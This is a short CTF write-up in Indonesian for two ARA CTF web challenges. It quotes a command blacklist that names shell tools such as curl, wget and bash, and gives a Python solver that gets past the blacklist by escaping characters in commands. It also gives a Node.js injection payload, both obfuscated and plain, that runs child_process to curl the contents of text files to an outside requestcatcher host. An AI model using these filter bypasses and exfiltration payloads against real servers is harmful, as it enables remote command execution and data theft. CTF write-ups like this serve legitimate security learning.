ARA CTF QUALS
Sayang sekali cuman pande upsolve :c gapapa next time hehe
Challenges
Category
1
El Kebanteren



```
blacklist = [
"ls", "cat", "rm", "mv", "id", "cp", "wget", "curl", "chmod", "chown", "find", "ps",
"grep", "awk", "sed", "bash", "sh", "python", "perl", "php", "sudo", "whoami",
"vi", "vim", "nano", "info", "uname", "more", "head", "less", "tail", "txt", "&&", "|", "`", "$(", ">", "<", "&", "'", '"', "*", "\n"
]
```
sleep 5;ls /
sleep 5;catsleep 5;ca\t
/generated_quotes/<path:file_name>import random
import subprocess
import binascii
import requests
from datetime import datetime
url = "http://chall-ctf.ara-its.id:12124/"
data = {
"input":"l\\s /"
}
req = requests.post(url+"get_quotes", data=data)
get_date_minute = datetime.now().strftime('%Y%m%d%H%M')
random_number = binascii.hexlify(get_date_minute.encode()).decode()
file_name = f'{random_number}.txt'
a = requests.get(url+f"generated_quotes/{file_name}")
print(a.text)
data = {
"input":"c\\at /555fa546f50f3e869c7d1d5669ef280a.t\\xt"
}
2
Easy Right?



ADMİN

import requests
url = "http://chall-ctf.ara-its.id:21291/"
dict = {
"connect.sid":"s%3AMSMXS15PoKP08EWzCkvY_x073Rs6NC-4.2frpqHtw8EIsDKd6gcB7HMDdHJJvEGYbmhzsVg%2BHws8"
}
while(True):
b = input("input : ")
datas = {
"name":b
}
a = requests.post(url+"admin", cookies=dict, data=datas)
print(a.text)




"test"instanceof{[Symbol["hasInstance"]]:console["log"]}#{"global\x2epro\x63ess\x2emainModule\x2e\x63onstru\x63tor\x2e_load\x28\x27\x63hild_pro\x63ess\x27\x29\x2eexe\x63\x28\"\x63url\x20https://arara\x2erequest\x63at\x63her\x2e\x63om/test?=$\x28\x63at\x20/*\x2etxt\x29\"\x29"instanceof{[Symbol["hasInstance"]]:global["ev"+"al"]}}#{"global.process.mainModule.constructor._load('child_process').exec(\"curl https://arara.requestcatcher.com/test?=$(cat /*.txt)\")" instanceof { [Symbol["hasInstance"]]: global["eval"] }}
Last updated